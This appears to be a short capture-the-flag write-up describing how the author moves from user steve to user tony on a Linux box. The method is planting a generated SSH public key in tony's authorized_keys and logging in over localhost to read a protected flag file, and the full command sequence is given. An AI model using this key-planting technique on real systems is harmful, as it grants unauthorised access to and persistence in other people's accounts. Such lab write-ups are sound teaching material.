Tags: linux 

Rating:

Need to connect to tony user starting from steve user.
Listing /home/tony with `ls -lha /home/tony` reveals the `.flag` file owned by tony.
We need a way to connect to tony without password. Good thing, there's a sshd process running in the background!
Let's generate a ssh key, add it to tony's authorized_keys and connect to the tony user. Then we can chmod 400 the flag file and read it.
```
> ssh-keygen -t rsa
> mkdir -p /home/tony/.ssh
> cat .ssh/id_rsa.pub > /home/tony/.ssh/authorized_keys
> ssh tony@localhost
> chmod 400 .flag
> cat .flag
```